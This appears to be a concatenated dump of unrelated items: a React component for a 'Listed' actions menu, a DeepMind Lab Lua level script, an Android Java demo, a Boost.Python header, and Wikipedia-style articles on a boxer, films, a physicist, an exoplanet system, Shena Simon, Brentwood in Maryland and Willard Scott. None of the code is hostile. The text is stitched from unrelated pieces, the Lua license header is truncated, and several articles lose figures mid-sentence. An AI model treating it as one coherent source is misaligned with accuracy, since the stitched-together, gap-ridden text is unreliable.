const ListedActionsMenu = ({ application, note }: ListedActionsMenuProps) => {
const [menuGroups, setMenuGroups] = useState<ListedMenuGroup[]>([])
const [isFetchingAccounts, setIsFetchingAccounts] = useState(true)
const [isAuthorized, setIsAuthorized] = useState(false)
useEffect(() => {
const authorize = async () => {
if (!application.listed.isNoteAuthorizedForListed(note)) {
await application.listed.authorizeNoteForListed(note)
}
setIsAuthorized(application.listed.isNoteAuthorizedForListed(note))
}
void authorize()
}, [application, note])
const reloadMenuGroup = useCallback(
async (group: ListedMenuGroup) => {
if (!isAuthorized) {
return
}
const updatedAccountInfo = await application.listed.getListedAccountInfo(group.account, note.uuid)
if (!updatedAccountInfo) {
return
}
const updatedGroup: ListedMenuGroup = {
name: updatedAccountInfo.display_name,
account: group.account,
actions: updatedAccountInfo.actions as Action[],
}
const updatedGroups = menuGroups.map((group) => {
if (updatedGroup.account.authorId === group.account.authorId) {
return updatedGroup
} else {
return group
}
})
setMenuGroups(updatedGroups)
},
[application, menuGroups, note, isAuthorized],
)
useEffect(() => {
const fetchListedAccounts = async () => {
if (!application.hasAccount()) {
setIsFetchingAccounts(false)
return
}
if (!isAuthorized) {
return
}
try {
const listedAccountEntries = await application.listed.getListedAccounts()
if (!listedAccountEntries.length) {
throw new Error('No Listed accounts found')
}
const menuGroups: ListedMenuGroup[] = []
await Promise.all(
listedAccountEntries.map(async (account) => {
const accountInfo = await application.listed.getListedAccountInfo(account, note.uuid)
if (accountInfo) {
menuGroups.push({
name: accountInfo.display_name,
account,
actions: accountInfo.actions as Action[],
})
} else {
menuGroups.push({
name: account.authorId,
account,
actions: [],
})
}
}),
)
setMenuGroups(
menuGroups.sort((a, b) => {
return a.name.toString().toLowerCase() < b.name.toString().toLowerCase() ? -1 : 1
}),
)
} catch (err) {
console.error(err)
} finally {
setIsFetchingAccounts(false)
}
}
void fetchListedAccounts()
}, [application, note.uuid, isAuthorized])
if (!isAuthorized) {
return null
}
return (
<>
{isFetchingAccounts && (
<div className="flex w-full items-center justify-center p-4">
<Spinner className="h-5 w-5" />
</div>
)}
{!isFetchingAccounts && menuGroups.length ? (
<>
{menuGroups.map((group) => (
<MenuSection
key={group.account.authorId}
title={
<div className="flex items-center">
<Icon type="notes" className="mr-2 text-info" /> {group.name}
</div>
}
>
{group.actions.length ? (
group.actions.map((action) => (
<ListedMenuItem
action={action}
note={note}
key={action.url}
group={group}
application={application}
reloadMenuGroup={reloadMenuGroup}
/>
))
) : (
<div className="select-none px-3 py-2 text-sm text-passive-0">No actions available</div>
)}
</MenuSection>
))}
</>
) : null}
{!isFetchingAccounts && !menuGroups.length ? (
<div className="flex w-full items-center justify-center px-4 py-6">
<div className="select-none text-sm text-passive-0">No Listed accounts found</div>
</div>
) : null}
</>
)
}
export default ListedActionsMenu
``` |
Benjamin Sisay (born 11 March 1956) is a Sierra Leonean boxer. He competed in the men's welterweight event at the 1980 Summer Olympics. At the 1980 Summer Olympics, he lost to Kebede Sahilu of Ethiopia.
References
External links
1956 births
Living people
Sierra Leonean male boxers
Olympic boxers for Sierra Leone
Boxers at the 1980 Summer Olympics
Place of birth missing (living people)
Welterweight boxers |
```lua
This program is free software; you can redistribute it and/or modify
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
]]
local debug_observations = require 'decorators.debug_observations'
local factory = require 'factories.lasertag.factory'
local make_map = require 'common.make_map'
local maze_generation = require 'dmlab.system.maze_generation'
local game = require 'dmlab.system.game'
local events = require 'dmlab.system.events'
local image = require 'dmlab.system.image'
local colors = require 'common.colors'
local MAP = [[
*************************
*P *P *P *P *P *P *P *P *
* *
*************************
]]
local api = factory.createLevelApi{
episodeLengthSeconds = 60 * 5,
botCount = 6,
}
local spawnCount = 1
function api:updateSpawnVars(spawnVars)
if spawnVars.classname == 'info_player_start' then
-- Spawn facing East.
spawnVars.angle = '0'
spawnVars.randomAngleRange = '0'
-- Make Bot spawn on first 'P' and player on second 'P'.
spawnVars.nohumans = spawnCount > 1 and '1' or '0'
spawnVars.nobots = spawnCount == 1 and '1' or '0'
spawnCount = spawnCount + 1
end
return spawnVars
end
function api:nextMap()
api._botColors = {}
local maze = maze_generation:mazeGeneration{entity = MAP}
debug_observations.setMaze(maze)
return make_map.makeMap{
mapName = 'two_players',
mapEntityLayer = MAP,
allowBots = true,
}
end
local characterSkinData
local function characterSkins()
if not characterSkinData then
local playerDir = game:runFiles() .. '/baselab/game_scripts/player/'
characterSkinData = {
image.load(playerDir .. 'dm_character_skin_mask_a.png'),
image.load(playerDir .. 'dm_character_skin_mask_b.png'),
image.load(playerDir .. 'dm_character_skin_mask_c.png'),
}
end
return characterSkinData
end
local function updateSkin(playerSkin, rgbs)
local skins = characterSkins()
for i, charachterSkin in ipairs(skins) do
local r, g, b = unpack(rgbs[i])
local skinC = charachterSkin:clone()
skinC:select(3, 1):mul(r / 255.0)
skinC:select(3, 2):mul(g / 255.0)
skinC:select(3, 3):mul(b / 255.0)
playerSkin:cadd(skinC)
end
end
function api:playerModel(playerId, playerName)
if playerId == 1 then
return "crash_color"
elseif playerId < 9 then
return 'crash_color/skin' .. playerId - 1
end
return "crash"
end
function api:newClientInfo(playerId, playerName, playerModel)
local rgb = {colors.hsvToRgb(playerId * 40, 1.0, 1.0)}
local _, _, id = string.find(playerModel, 'crash_color/skin(%d*)')
id = id and id + 1 or 1
api._botColors[id] = rgb
events:add('newClientInfo' .. id)
end
local modifyTexture = api.modifyTexture
function api:modifyTexture(name, texture)
local _, _, id = string.find(name,
'models/players/crash_color/skin_base(%d*).tga')
if id then
if id == '' then
id = 1
else
id = tonumber(id) + 1
end
local rgb = api._botColors[id]
updateSkin(texture, {rgb, rgb, rgb})
events:add('skinModified' .. id)
return true
end
return modifyTexture and modifyTexture(self, texture) or false
end
return api
``` |
Winged Devils (Italian: Forza "G", literally "G" Force) is a 1972 Italian adventure-comedy film directed by Duccio Tessari.
Cast
Riccardo Salvino: Lt. Gianni Orlando
Pino Colizzi: Cpt. Bergamini
Mico Cundari: Lt. Muschin
Ernesto Colli: Lt. Ernesto Del Prete
Barbara Bouchet: Karin
Miranda Campa: Ernesto's Mother
Anita Strindberg: Gianni's Friend
Magda Konopka: Gianni's Friend
Giancarlo Prete : Lt. Pettarin
Duccio Tessari : De Santis
Dori Ghezzi
References
External links
1972 films
Italian adventure films
1970s adventure films
1970s Italian-language films
Films directed by Duccio Tessari
Films scored by Ennio Morricone
Italian aviation films
1970s Italian films |
Doi Lan may refer to:
Doi Lan (Phi Pan Nam Range) (), a mountain in Chiang Rai Province
Doi Lan (Khun Tan Range) (), a mountain in Chiang Rai Province
Doi Lan (Mae Hong Son), a mountain in the Daen Lao Range
Doi Lan Subdistrict of Mueang Chiang Rai District, in Chiang Rai Province, Thailand
See also
Doi Ian
Loi Lan |
```java
package com.luseen.spacenavigationview;
import android.graphics.Color;
import android.os.Bundle;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.GridLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.Toast;
import com.luseen.spacenavigation.SpaceItem;
import com.luseen.spacenavigation.SpaceNavigationView;
import com.luseen.spacenavigation.SpaceOnClickListener;
import com.luseen.spacenavigation.SpaceOnLongClickListener;
import java.util.ArrayList;
import java.util.List;
public class ActivityWithBadge extends AppCompatActivity {
private SpaceNavigationView spaceNavigationView;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_badge);
Button btnShowBadge = (Button) findViewById(R.id.btnBadge);
btnShowBadge.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
spaceNavigationView.shouldShowFullBadgeText(true);
spaceNavigationView.showBadgeAtIndex(0, 2, Color.RED);
spaceNavigationView.showBadgeAtIndex(1, 3, Color.DKGRAY);
spaceNavigationView.showBadgeAtIndex(2, 4, Color.MAGENTA);
spaceNavigationView.showBadgeAtIndex(3, 23, Color.BLUE);
}
});
spaceNavigationView = (SpaceNavigationView) findViewById(R.id.space);
spaceNavigationView.initWithSaveInstanceState(savedInstanceState);
spaceNavigationView.addSpaceItem(new SpaceItem(R.id.navigation_first,"HOME", R.drawable.account));
spaceNavigationView.addSpaceItem(new SpaceItem(R.id.navigation_second, "SEARCH", R.drawable.magnify));
spaceNavigationView.addSpaceItem(new SpaceItem(R.id.navigation_third, "HOME", R.drawable.account));
spaceNavigationView.addSpaceItem(new SpaceItem(R.id.navigation_forth, "SEARCH", R.drawable.magnify));
spaceNavigationView.shouldShowFullBadgeText(false);
spaceNavigationView.setCentreButtonId(R.id.navigation_centre);
spaceNavigationView.setCentreButtonIconColorFilterEnabled(false);
spaceNavigationView.setSpaceOnClickListener(new SpaceOnClickListener() {
@Override
public void onCentreButtonClick() {
Log.d("onCentreButtonClick ", "onCentreButtonClick");
}
@Override
public void onItemClick(int itemIndex, String itemName) {
Log.d("onItemClick ", "" + itemIndex + " " + itemName);
}
@Override
public void onItemReselected(int itemIndex, String itemName) {
Log.d("onItemReselected ", "" + itemIndex + " " + itemName);
}
});
spaceNavigationView.setSpaceOnLongClickListener(new SpaceOnLongClickListener() {
@Override
public void onCentreButtonLongClick() {
Toast.makeText(ActivityWithBadge.this, "onCentreButtonLongClick", Toast.LENGTH_SHORT).show();
}
@Override
public void onItemLongClick(int itemIndex, String itemName) {
Toast.makeText(ActivityWithBadge.this, itemIndex + " " + itemName, Toast.LENGTH_SHORT).show();
}
});
spaceNavigationView.showIconOnly();
setUpRecyclerView();
}
@Override
protected void onSaveInstanceState(Bundle outState) {
super.onSaveInstanceState(outState);
spaceNavigationView.onSaveInstanceState(outState);
}
private void setUpRecyclerView() {
RecyclerView recyclerView = (RecyclerView) findViewById(R.id.recyclerView);
RecyclerAdapter adapter = new RecyclerAdapter(dummyStrings());
recyclerView.setHasFixedSize(true);
recyclerView.setLayoutManager(new GridLayoutManager(this, 2));
recyclerView.setAdapter(adapter);
adapter.setRecyclerClickListener(new RecyclerAdapter.RecyclerClickListener() {
@Override
public void onClick(int position) {
if (position == 0) {
spaceNavigationView.showBadgeAtIndex(1, 54, ContextCompat.getColor(ActivityWithBadge.this, R.color.badge_background_color));
} else if (position == 1) {
spaceNavigationView.hideBudgeAtIndex(1);
}
}
});
}
private List<String> dummyStrings() {
List<String> colorList = new ArrayList<>();
colorList.add("#354045");
colorList.add("#20995E");
colorList.add("#76FF03");
colorList.add("#E26D1B");
colorList.add("#911717");
colorList.add("#9C27B0");
colorList.add("#FFC107");
colorList.add("#01579B");
return colorList;
}
}
``` |
Philippe Emmanuel Le Corbeiller (January 11, 1891 – July 24, 1980) was a French-American electrical engineer, mathematician, physicist, and educator. After a career in France as an expert on the electronics of telecommunications, he became a professor of applied physics and general education at Harvard University. His most important scientific contributions were in the theory and applications of nonlinear systems, including self-oscillators.
Career in France
Son of author and politician Jean-Maurice Le Corbeiller and his wife Marguerite Dreux, Philippe entered the École Polytechnique in 1910, training there in engineering and the mathematical sciences. During World War I he served in the French Signal Corps, earning the croix de guerre and joining the staff of Marshal Ferdinand Foch. After the war, Le Corbeiller worked on telegraphy and radio systems.
In 1926 he completed a doctorate in mathematics from the Sorbonne. His dissertation was on the arithmetic theory of Hermitian forms. Written under the supervision of Charles Émile Picard, Le Corbeiller's dissertation built upon the work of the then recently deceased Georges Humbert. From 1929 to 1939, Le Corbeiller served in the French ministry of communications (Ministère des Postes, Télégraphes et Téléphones) as a research engineer and taught at the École Supérieure d’Électricité (Supélec). From 1939 to 1941 he was technical and programming director of the French national broadcasting network (Radiodiffusion nationale). He also obtained a licence in philosophy from the Sorbonne in 1938.
Move to Harvard
Le Corbeiller and his family moved to the United States in 1941, fleeing the German occupation of France. Le Corbeiller spent the rest of World War II at Harvard University, teaching electronics to US Army and Navy personnel. After the war, he became a lecturer in applied physics at Harvard, and in 1949 he was promoted to professor of both applied physics and general education. Elected fellow of the American Academy of Arts and Sciences, the Acoustical Society of America, and the Econometric Society, Le Corbeiller was also a member of the American Physical Society and the American Association for the Advancement of Science.
Scientific and educational work
Le Corbeiller's research interests spanned several branches of pure and applied mathematics, as well as electromechanics, control theory, acoustics, and economics. He was a friend of Dutch physicist Balthasar van der Pol, whose work on the nonlinear theory of self-oscillating dynamical systems (see van der Pol oscillator and relaxation oscillator) Le Corbeiller extended and applied to problems in mathematics, engineering, and economics. An important contribution of Le Corbeiller's was to connect the mathematical theory of self-oscillators with the thermodynamics of engines. At Harvard, Le Corbeiller had a major influence on the work of economic theorist Richard M. Goodwin, who used concepts from nonlinear systems to describe the business cycle in macroeconomics.
Le Corbeiller also cultivated an interest in the history and philosophy of science, which he combined with his enthusiasm for general and adult education. He was actively involved in the initiative of Harvard President James Bryant Conant to develop a history of science–based general science education, collaborating in that effort with other lecturers such as Edwin C. Kemble, Gerald Holton, I. Bernard Cohen, and Thomas Kuhn.
Personal life
Philippe Le Corbeiller married Dorothy Leeming, a citizen of the United States, in Paris in 1924. They had one son, Jean, who graduated from Harvard in 1948, and who worked as editor of Scientific American magazine and as professor at the Seminar and Lang Colleges of the New School for Social Research, in New York City. In 1952, Philippe Le Corbeiller's mother donated to Harvard's Fogg Museum a bouillon cup and a saucer reportedly used by Marie Antoinette during her imprisonment and passed down through Madame Campan.
After retiring from Harvard in 1960 Philippe Le Corbeiller taught briefly at the New School and at Smith College. Widowed in 1962, he married Pietronetta Posthuma, the widow of Balthasar van der Pol, in 1964 in New York City. The couple settled in the Netherlands in 1968. Le Corbeiller died in Wassenaar in 1980.
Selected works
Reprinted in
References
External links
Mathematics Genealogy Project
French physicists
French mathematicians
French electrical engineers
20th-century American physicists
1891 births
1980 deaths
French emigrants to the United States
French military personnel of World War I
École Polytechnique alumni
Harvard University faculty
Scientists from Paris
Fellows of the American Academy of Arts and Sciences
University of Paris alumni |
Temptation (French: La tentation) is a 1929 French silent film directed by René Barberis and René Leprince and starring Lucien Dalsace, Clara Darcey-Roche and Fernand Mailly.
Cast
Lucien Dalsace as Maître Robert Jourdan
Clara Darcey-Roche as La maman
Fernand Mailly as Monsieur de Bergue
André Nicolle as Lutard
Jean Peyrière as Maurice Brinon
Elmire Vautier as Madame Alfieri
Claudia Victrix as Irène de Bergue
References
Bibliography
Philippe Rège. Encyclopedia of French Film Directors, Volume 1. Scarecrow Press, 2009.
External links
1929 films
French silent films
1920s French-language films
Films directed by René Barberis
Films directed by René Leprince
French films based on plays
French black-and-white films
Pathé films
1920s French films |
Tor Egil Førland (born 5 May 1959) is professor of history at the University of Oslo.
Career
Between 2003 and 2004 Førland was Subdean of education at the Faculty of Humanities at the University of Oslo, responsible for implementing the Quality Reform at the faculty. Førland was Head of education and Deputy head of Department of Archaeology, Conservation and History (IAKH) during 2009–2012. Førland has been Head of Department since 2013.
As a historian, Førland has specialized in the radicalism of the 1960s and 1970s and in contemporary international history. He has published books and articles on the history of the EU, European integration, the Cold War and the 1968 protests.
Førland has also contributed to the debate on objectivity and values in historiography, taking a stance against the postmodern relativization of truth. He has applied the philosopher Peter Railton’s concept of the “ideal explanatory text” to argue that the ideal of objectivity in historiography is attainable.
Select bibliography
“Cutting the Sixties Down to Size: Conceptualizing, Historicizing, Explaining”. Journal for the Study of Radicalism 9/2 (2015), pp. 125–148
“Brought Up to Rebel in the Sixties: Birth Order Irrelevant, Parental Worldview Decisive”. With Trine Rogg Korsvik and Knut-Andreas Christophersen. Political Psychology 33/6 (2012), pp. 825–838
Cold Economic Warfare: CoCom and the Forging of Export Controls, 1948-1954. Dordrecht: Republic of Letters Publishing, 2009
“Historiography without God: A Reply to Gregory”. History and Theory 47/4 (2008), pp. 520–532
“Acts of God? Miracles and Scientific Explanation”. History and Theory 47/4 (2008), pp. 483–494
“The Ideal Explanatory Text in History: A Plea for Ecumenism”. History and Theory 43/3 (2004), pp. 321–340
“Far Out: International History in Norway”. Scandinavian Journal of History 20/3 (1995), pp. 167–183
“Bringing It All Back Home or Another Side of Bob Dylan: Midwestern Isolationist”. Journal of American Studies 26/3 (1992), pp. 337–355
“‘Selling Firearms to the Indians’: Eisenhower’s Export Control Policy, 1953-54”. Diplomatic History 15/2 (1991), pp. 221–244
“‘Economic Warfare’ and ‘Strategic Goods’: A Conceptual Framework for Analyzing COCOM”. Journal of Peace Research 28/2 (1991), pp. 191–204
“An Act of Economic Warfare? The Dispute over NATO's Embargo Resolution, 1950-1951”. The International History Review 12/3 (1990), pp. 490–513
References
External links
Tor Egil Førland′s profile page at the University of Oslo
1959 births
Living people
20th-century Norwegian historians
Academic staff of the University of Oslo
21st-century Norwegian historians |
Gliese 163 is a faint red dwarf star with multiple exoplanetary companions in the southern constellation of Dorado. Other stellar catalog names for it include HIP 19394 and LHS 188. It is too faint to be visible to the naked eye, having an apparent visual magnitude of 11.79 and an absolute magnitude of 10.91. This system is located at a distance of 49.4 light-years from the Sun based on parallax measurements. Judging by its space velocity components, it is most likely a thick disk star.
This is a small M-type main-sequence star with a stellar classification of M3.5V. It has a relatively low activity level for a red dwarf of its mass, suggesting it is an old star with an age of at least two billion years. This star has 41% of the mass and radius of the Sun. It is spinning slowly with a projected rotational velocity of 0.85 km/s and has a rotation period of 61 days. The star is radiating just 2% of the luminosity of the Sun from its photosphere at an effective temperature of 3,460 K.
Planetary system
In September 2012, astronomers using the HARPS instrument announced the discovery of two planets orbiting Gliese 163. The first planet, Gliese 163 b, is a super-Earth or mini-Neptune with an orbital period of 9 days, therefore far too hot to be considered habitable. However, Gliese 163 c, with an orbital period of 26 days and a minimum mass of 6.9 Earth masses, was considered to potentially be in the star's habitable zone, although it is hotter than Earth, with a temperature of 60 deg. C (140 deg. F). It has an eccentricity estimated to be about 0.03, giving it a fairly circular orbit. Evidence was also found for a third planet orbiting further out than c and b.
In June 2013, it was concluded that at least 3 planets orbit around the star with a fourth planet being a possibility, and in a paper submitted to arXiv in June 2019, that and another planet were found, thus giving the system a total of five planets.
References
M-type main-sequence stars
Planetary systems with five confirmed planets
Dorado
0163
019394
219221189 |
```c++
// accompanying file LICENSE_1_0.txt or copy at
// path_to_url
#ifndef PYTYPE_OBJECT_MANAGER_TRAITS_DWA2002716_HPP
# define PYTYPE_OBJECT_MANAGER_TRAITS_DWA2002716_HPP
# include <boost/python/detail/prefix.hpp>
# include <boost/python/detail/raw_pyobject.hpp>
# include <boost/python/cast.hpp>
# include <boost/python/converter/pyobject_type.hpp>
# include <boost/python/errors.hpp>
namespace boost { namespace python { namespace converter {
// Provide a forward declaration as a convenience for clients, who all
// need it.
template <class T> struct object_manager_traits;
// Derive specializations of object_manager_traits from this class
// when T is an object manager for a particular Python type hierarchy.
//
template <PyTypeObject* pytype, class T>
struct pytype_object_manager_traits
: pyobject_type<T, pytype> // provides check()
{
BOOST_STATIC_CONSTANT(bool, is_specialized = true);
static inline python::detail::new_reference adopt(PyObject*);
};
//
// implementations
//
template <PyTypeObject* pytype, class T>
inline python::detail::new_reference pytype_object_manager_traits<pytype,T>::adopt(PyObject* x)
{
return python::detail::new_reference(python::pytype_check(pytype, x));
}
}}} // namespace boost::python::converter
#endif // PYTYPE_OBJECT_MANAGER_TRAITS_DWA2002716_HPP
``` |
The 1941–42 season was the 43rd season in the history of Berner Sport Club Young Boys. The team played their home games at Stadion Wankdorf in Bern.
Overview
Young Boys achieved a ninth place finish and reached the fourth round of the Swiss Cup where they lost to eventual finals runner-up FC Basel.
Players
Maurice Glur
Achille Siegrist
Louis Gobet
Otto Hänni
Hans Liniger
Hans Trachsel
Hans Stegmeier
Hans Blaser
Willy Bernhard
Willy Terretaz
Gerber
Competitions
Overall record
Nationalliga
League table
Matches
Swiss Cup
References
BSC Young Boys seasons
Swiss football clubs 1941–42 season |
Shena Dorothy Simon, Lady Simon of Wythenshawe (21 October 1883 – 17 July 1972) was an English politician, feminist, educationalist and writer.
Early years
Shena Dorothy Potter was born on 21 October 1883, daughter of John Wilson Potter and Jane Boyd Potter.
She had a privileged upbringing in a liberal, upper-middle-class family.
Although she studied at Newnham College, Cambridge and then the London School of Economics, she was not granted a formal degree since the University of Cambridge did not grant full membership to women until 1946. She received an Ad eundem degree from Trinity College Dublin as a 'Steamboat lady'.
In 1911 Shena Potter became secretary of a committee for safeguarding women's rights under David Lloyd George's National Insurance Act 1911.
She was introduced to Ernest Simon by Sydney and Beatrice Webb, who thought she would make an ideal wife for him.
Ernest was the son of Henry Gustav Simon, a wealthy Victorian industrialist.
Shena married him in 1912, and they had two sons, Roger and Brian, and a daughter, Antonia.
Career
Simon founded the Women Citizens' Association in Manchester, a local branch of the National Women Citizens' Association.
Her husband was Lord Mayor of Manchester from 1921 to 1922.
As Lady Mayoress, Simon caused a stir by refusing to attend a function at St Mary's Hospital for Women because there were no women on the Board or among the medical staff.
Shena Simon was a member of the Manchester City Council from 1924 to 1933, when she was voted out by the Conservatives.
She was a member of the Royal Committee on Licensing in 1929 and a member of the Manchester Estate Council from 1931 to 1933.
In 1926, Shena and Ernest Simon donated the Wythenshawe Park to the city of Manchester for use of the people living on the Wythenshawe estate.
She felt that parks were important, and later was to observe that there was a severe shortage of such open space in Manchester.
She devoted much energy to planning the Wythenshawe housing estate, but her recommendations were not always practical. For example, she fought for glazing bars in windows since they would make the housing more cottage-like in appearance, although the windows would be harder to clean. She accepted the conventional division of labour between men and women, at least for the working classes, where the woman minded the home.
She became Chairperson of the Education Committee 1932–1933. From 1933 she was actively involved in the Spens Report on secondary education reform, serving as a representative of the Local Education Authorities. On the committee she argued forcefully for abolition of fees in secondary schools, although she could not always get her way.
In 1933 Simon, her husband and Eva Marian Hubback co-founded the Association for Education in Citizenship.
Her husband was knighted in 1932. He became chairman of the council of Victoria University of Manchester in 1939, was a sponsor of construction of the Jodrell Bank Observatory, and from 1947 to 1952 was chairman of the BBC.
Lady Simon became a member of the Labour Party in 1935, and was appointed to the Departmental Committee on Valuation of Dwelling Houses in 1938.
She was Chair of the Further Education Sub-Committee for seven years. In 1946 she became Chair of the Education Advisory Committee of the Workers Educational Associations. In 1964 she was made a freeman of the city.
Speaking at that occasion, she said:
"Happiness, a much more fundamental conception than mere enjoyment or pleasure, depends upon the existence of life and liberty, but it cannot be pursued by the individual unless he has had a chance to develop, first as a child, and then as an adult, all his interests and faculties, varied as they are between each member of society. I do not for a moment suggest that we are even yet in sight of that goal, but that it must be our "guiding light" has been my belief for the forty years that I have been a member of the Education Committee".
Shena Simon died on 17 July 1972. The Shena Simon Campus of The Manchester College is named after her.
Publications
Shena Simon was co-author with her husband Ernest Simon, William Alexander Robson and John Jewkes of the 1937 book Moscow in the Making.
In 1939 Shena Simon published her book A Hundred Years of City Government, Manchester 1838–1938.
She was also the author of several pamphlets on education.
For example, in 1944 she published The four freedoms in secondary education.
The Fabian Society published her pamphlet on The Education Act, 1944,: Provisions and possibilities in 1945.
Her pamphlet Three Schools or One? (1948) called for establishment of multilateral or comprehensive schools.
References
Further reading
1883 births
1972 deaths
20th-century English women writers
20th-century English writers
English feminists
Alumni of Newnham College, Cambridge
Alumni of the London School of Economics
Simon of Wythenshawe
Steamboat ladies
Shena |
Brentwood is a town in Prince George's County, Maryland, United States.
Per the 2020 census, the population was 3,828. Brentwood is located within of Washington. The municipality of Brentwood is located just outside the northeast boundary of the District of Columbia and surrounded by the communities of Mount Rainier, Cottage City, North Brentwood, and the nearby Hyattsville. Along the Route 1 Corridor, Brentwood is part of the Gateway Arts District.
History
The town was originally incorporated in 1922 and is named after the Brentwood estate built in 1817 by Robert Brent in Northeast Washington, DC. The town was developed beginning in the 1890s around the Highland Station of the Washington Branch of the B & O Railroad and the Columbia and Maryland Railway. Brentwood was created by Wallace A. Bartlett, a Civil War veteran, former foreman for the Government Printing Office, Patent Office examiner, and inventor originally from Warsaw, New York. Captain Bartlett lived in Washington, D.C. until 1887, when he purchased of farmland from Benjamin Holliday, which abutted the Highland subdivision. Bartlett built a farmhouse for his family on the land and, with two partners J. Lee Adams and Samuel J. Mills, formed the Holladay Land and Improvement Company. Captain Bartlett died in 1908.
In 1891, the Company platted a residential subdivision called "Holladay Company's Addition to Highland" on of the Bartlett Farm. The lots were approximately by and were arranged around an irregular grid of streets. The lots in the northern part of the subdivision, which eventually would become North Brentwood, were smaller and were subject to flooding from a mill race. These lots were less expensive, and Bartlett encouraged their purchase by African-American families with whom he was indirectly associated from his command of U.S. Colored Troops in the Civil War. The more expensive lots to the south were purchased by white working-class families, many of whom were employed as federal government clerks. Seven additional houses were built by 1896. In 1899 Bartlett purchased the Fenwick family farm which was located to the west of the Holladay Company's Addition to Highland. With two new partners, J. Baker and Dr. Sigmund A. Czarra, Bartlett began the Brentwood Company. The area was surveyed and platted in 1899. The Holladay Addition homes represented a typical cross-section of housing styles popular in the late-19th century, including I-houses, vernacular houses with Queen Anne detailing, Four-squares, and front-gable houses.
The community continued to grow in the early 20th century. A school was built, and the Brentwood Citizens’ Association formed in 1903, a Methodist church was constructed in 1904, a fire department was started in 1905, and was formed in 1903. Kerosene street lamps were added in 1917, and electric lights were installed in 1920. When incorporated, the town included the southerly part of the Holladay Addition, the Brentwood Company subdivision, and two smaller additions. The houses built during this time consisted of small frame bungalows. Growth continued through the 1940s and 1950s, fueled by an influx of government workers. In the 1950s, many older homes were replaced and empty lots were filled with small cottages and ranch houses.
The majority of homes in Brentwood were built during and after World War II; young people coming to Washington, D.C., to support the war effort found a quiet place to raise their families. There are two small service-oriented commercial areas. A focal point is Bartlett Park named for Captain Bartlett who deeded the land to the town. The park is home to the Wohlfarth Building, which serves as the Town Hall.
Geography
Brentwood is located at (38.942011, -76.955597).
According to the United States Census Bureau, the town has a total area of , all land.
Demographics
2020 census
2010 census
As of the census of 2010, there were 3,046 people, 933 households, and 624 families residing in the town. The population density was . There were 1,046 housing units at an average density of . The racial makeup of the town was 25.9% White, 38.0% African American, 0.6% Native American, 1.9% Asian, 27.7% from other races, and 5.8% from two or more races. Hispanic or Latino of any race were 45.3% of the population.
There were 933 households, of which 41.1% had children under the age of 18 living with them, 37.1% were married couples living together, 18.3% had a female householder with no husband present, 11.5% had a male householder with no wife present, and 33.1% were non-families. 24.3% of all households were made up of individuals, and 4.4% had someone living alone who was 65 years of age or older. The average household size was 3.26 and the average family size was 3.78.
The median age in the town was 32.8 years. 26.2% of residents were under the age of 18; 10.6% were between the ages of 18 and 24; 33.4% were from 25 to 44; 22.7% were from 45 to 64; and 7% were 65 years of age or older. The gender makeup of the town was 50.6% male and 49.4% female.
2000 census
As of the census of 2000, there were 2,844 people, 905 households, and 636 families residing in the town. The population density was . There were 971 housing units at an average density of . The racial makeup of the town was 28.62% White, 49.75% African American, 0.42% Native American, 2.11% Asian, 15.05% from other races, and 4.04% from two or more races. Hispanic or Latino of any race were 23.63% of the population.
There were 905 households, out of which 39.1% had children under the age of 18 living with them, 38.8% were married couples living together, 23.0% had a female householder with no husband present, and 29.7% were non-families. 23.2% of all households were made up of individuals, and 6.4% had someone living alone who was 65 years of age or older. The average household size was 3.14 and the average family size was 3.68.
In the town, the population was spread out, with 29.0% under the age of 18, 10.2% from 18 to 24, 33.5% from 25 to 44, 19.4% from 45 to 64, and 7.8% who were 65 years of age or older. The median age was 32 years. For every 100 females, there were 96.4 males. For every 100 females age 18 and over, there were 94.2 males.
The median income for a household in the town was $45,427, and the median income for a family was $45,244. Males had a median income of $28,563 versus $27,694 for females. The per capita income for the town was $15,700. About 9.8% of families and 13.6% of the population were below the poverty line, including 22.0% of those under age 18 and 2.3% of those age 65 or over.
Government
Prince George's County Police Department District 1 Station in Hyattsville serves Brentwood.
Brentwood's government system is composed of an elected mayor and four council members, who are all elected at-large. As of May 2023, the current mayor of Brentwood is Rocio Treminio-Lopez. Elections are held in May every two years on the first Monday of the month.
The United States Postal Service operates the Brentwood Post Office.
Transportation
Two state highways serve Brentwood. The more significant of the two is U.S. Route 1, which connects southward through Mount Rainier to Washington, D.C. and northward through North Brentwood, Hyattsville and College Park to Interstate 95/Interstate 495 (the Capital Beltway). The other highway serving Brentwood is Maryland Route 208, which heads southeast to Cottage City and northwest to Hyattsville.
Education
Prince Georges County Public Schools operates public schools serving Brentwood.
The city of Mount Rainier has two elementary schools in its neighborhood that children who live in Brentwood can attend; Mount Rainier Elementary School and Thomas S. Stone Elementary School. Both serve grades Pre-K through 6.
Secondary schools:
Hyattsville Middle School (in the city of Hyattsville)
Northwestern High School (Hyattsville)
Notable person
William R. Callahan, dissident Catholic priest
References
External links
Town of Brentwood official website
Route 1 Communities: Brentwood
Maryland State Archives site for Brentwood
Statistical population breakdown based on race, gender and age for Brentwood
Towns in Maryland
Washington metropolitan area
Towns in Prince George's County, Maryland
Populated places established in 1922
1922 establishments in Maryland |
Willard Herman Scott Jr. (March 7, 1934 – September 4, 2021) was an American weather presenter, radio and television personality, actor, narrator, clown, comedian, and author, whose broadcast career spanned 68 years, 65 years with the NBC broadcast network. Scott is best known as a weather reporter on NBC's Today show where he also celebrated US centenarian birthdays and notable anniversaries. Scott was the creator and original performer of McDonald's mascot clown Ronald McDonald.
The 6' 3", 290 lb. Scott was described by the New York Times as a "garrulous, gaptoothed, boutonnière-wearing, funny-hatted, sometimes toupee-clad, larger-than-life American Everyman". Scott parlayed his national exposure as weather presenter into a highly successful career as a pitchman who promoted an ever-widening range of products the fees for which outstripped his million dollar annual salary at NBC (). Scott said "I run me like a conglomerate, because that's what I am. I always keep lots of balls in the air".
